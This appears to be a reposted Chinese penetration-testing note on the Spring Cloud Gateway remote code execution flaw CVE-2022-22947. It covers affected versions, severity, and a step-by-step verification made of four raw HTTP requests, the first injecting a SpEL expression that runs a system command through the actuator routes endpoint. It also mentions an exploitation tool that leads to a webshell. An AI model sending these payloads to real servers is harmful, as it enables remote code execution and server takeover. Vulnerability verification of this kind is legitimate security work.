Spring Cloud Gateway远程代码执行漏洞(CVE |
您所在的位置:网站首页 › 漏洞扫描修复 › Spring Cloud Gateway远程代码执行漏洞(CVE |
前言 持续更新:整理下渗透测试工作中发现过的漏洞(包含漏洞描述、漏洞等级、漏洞验证、修复建议),这里不深究漏洞产生的各种后利用或者绕过方式,漏洞验证过程不局限于文章中的方法,能够证明漏洞存在即可。 0x01 漏洞描述- Spring Cloud Gateway远程代码执行漏洞(CVE-2022-22947) - Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的网关,它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式。当启用或暴露不安全的 Gateway Actuator 端点时,使用 Spring Cloud Gateway 的应用程序容易受到代码注入攻击,远程攻击者可以通过发送恶意请求以执行 SpEL 表达式,从而在目标服务器上执行任意恶意代码,获取系统权限。 漏洞版本: Spring Cloud Gateway 3.1.x < 3.1.1Spring Cloud Gateway 3.0.x < 3.0.7其他旧的、不受支持的 Spring Cloud Gateway 版本0x02 漏洞等级威胁级别 高危 中危 低危 0x03 漏洞验证使用 dirsearch 等目录扫描工具对目标网站进行探测扫描,检测到存在 /actuator/gateway/routes 路径。 ![]() 首先,添加一个执行系统命令 id 的恶意 SpEL 表达式的 test 路由,发送如下数据包: 代码语言:javascript复制POST /actuator/gateway/routes/test HTTP/1.1 Host: www.luckysec.cn:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Content-Type: application/json Content-Length: 329 { "id": "hacktest", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}" } }], "uri": "http://example.com" }![]() 然后,应用刚添加的路由,将触发 SpEL 表达式的执行,发送如下数据包: 代码语言:javascript复制POST /actuator/gateway/refresh HTTP/1.1 Host: www.luckysec.cn:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0![]() 之后,访问 test 路由地址,查看命令执行结果,发送如下数据包: 代码语言:javascript复制GET /actuator/gateway/routes/test HTTP/1.1 Host: www.luckysec.cn:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0![]() 最后,删除所添加的 test 路由,发送如下数据包: 代码语言:javascript复制DELETE /actuator/gateway/routes/test HTTP/1.1 Host: www.luckysec.cn:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Content-Length: 0![]() 可利用 SpringBootExploit 工具,输入目标地址进行检测环境,使用 SpringCloudGateway 利用链获取目标服务器权限。 ![]() 漏洞利用成功后,根据提示内容访问 webshell 地址,执行系统命令验证即可。 ![]() |
今日新闻 |
推荐新闻 |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |